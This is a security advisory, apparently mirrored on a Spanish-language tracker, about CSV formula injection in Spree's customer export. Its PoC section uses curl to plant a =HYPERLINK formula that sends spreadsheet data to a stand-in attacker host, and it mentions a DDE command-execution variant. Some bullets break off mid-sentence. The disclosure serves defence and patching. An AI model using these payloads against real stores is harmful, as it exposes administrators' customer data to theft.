GHSA-XF4V-W5X5-PV79
Spree: CSV Formula Injection in Customer Export
Texto original en inglés · Ver en español
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 5.2.8 | spree · -16 d desde divulgación | |
| Remediación | Parche 5.3.6 | spree · -16 d desde divulgación | |
| Remediación | Parche 5.4.3 | spree · -16 d desde divulgación | |
| Divulgación | Publicada | GHSA-XF4V-W5X5-PV79 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted
Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the
context of the administrator's desktop, potentially exfiltrating data or executing OS commands
via DDE (Dynamic Data Exchange).
---
Details
Affected presenters and fields
| Presenter | Path | User-controlled fields |
|---|---|---|
| `CustomerPresenter` | `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` | `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` |
Vulnerable code — `customer_presenter.rb` (representative example)
# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53
def call
csv = [
customer.first_name, # ← written verbatim; may contain =HYPERLINK(...)
customer.last_name, # ← user-controlled
customer.email,
customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
customer.address&.company, # ← user-controlled
customer.address&.address1, # ← user-controlled
customer.address&.address2, # ← user-controlled
customer.address&.city, # ← user-controlled
customer.address&.state_text,
customer.address&.state_abbr,
customer.address&.country&.name,
customer.address&.country&.iso,
customer.address&.zipcode,
customer.phone, # ← user-controlled
customer.amount_spent_in(Spree::Store.current.default_currency),
customer.completed_orders.count,
]
csv += metafields_for_csv(customer)
csv
end---
PoC
Precondition: A Spree store with public customer registration enabled (default
configuration). No special permissions required for the attacker.
Step 1 — Register as a customer with an injected first name
curl -X POST https://store.example.com/api/v3/store/customers \
-H "Content-Type: application/json" \
-H "X-Spree-Api-Key: pk_<publishable_api_key>" \
-d '{
"email": "attacker@evil.com",
"password": "password123",
"password_confirmation": "password123",
"first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")",
"last_name": "Smith"
}'Step 2 — Admin triggers a customer export
curl -X POST https://store.example.com/api/v3/admin/exports \
-H "Authorization: Bearer <admin_jwt>" \
-H "Content-Type: application/json" \
-d '{"type": "Spree::Exports::Customers", "record_selection": "all"}'Step 3 — Admin polls until ready, then downloads
# Poll for completion
curl https://store.example.com/api/v3/admin/exports/<export_id> \
-H "Authorization: Bearer <admin_jwt>"
# Download
curl https://store.example.com/api/v3/admin/exports/<export_id>/download \
-H "Authorization: Bearer <admin_jwt>" \
-o customers.csvStep 4 — Verify injection in the raw CSV (without opening in Excel)
Open `customers.csv` in a text editor. The first data row will contain:
"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",...Step 5 — Admin opens `customers.csv` in Microsoft Excel (Windows)
- Excel warns about external data connections; if the administrator clicks Enable, the
- Cell B1 in the customers export is the Last Name column. Adjacent columns contain
- With the DDE variant (`=CMD|...`) on older or unpatched Excel versions, a subprocess
---
Impact
Vulnerability class: CSV / Formula Injection (CWE-1236)
Who is impacted
- Administrators who download and open export files in spreadsheet software are the
Realistic attack chain
| Step | Actor | Action | Privilege required |
|---|---|---|---|
| 1 | Attacker | Registers as customer | Public registration |
| 2 | Attacker | Sets `first_name` to formula payload | None beyond registration |
| 3 | Admin | Runs a routine weekly/monthly export | Normal operational task |
| 4 | Admin | Opens CSV in Excel | None |
| 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |
Data at risk
All data visible to the administrator in the spreadsheet at the time of opening, including:
- All exported customer emails, names, addresses, phone numbers
- Order totals and purchase history
- Any other columns in the same export file
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
rubygemsspree |
Corregida | 5.2.8, 5.3.6, 5.4.3 | -16 d · -16 d · -16 d | 6.0.4 no afectada |
5.2.85.3.65.4.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/spree/spree/security/advisories/GHSA-xf4v-w5x5-pv79https://github.com/spree/spreehttps://github.com/spree/spree/releases/tag/v5.2.8https://github.com/spree/spree/releases/tag/v5.3.6https://github.com/spree/spree/releases/tag/v5.4.3Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
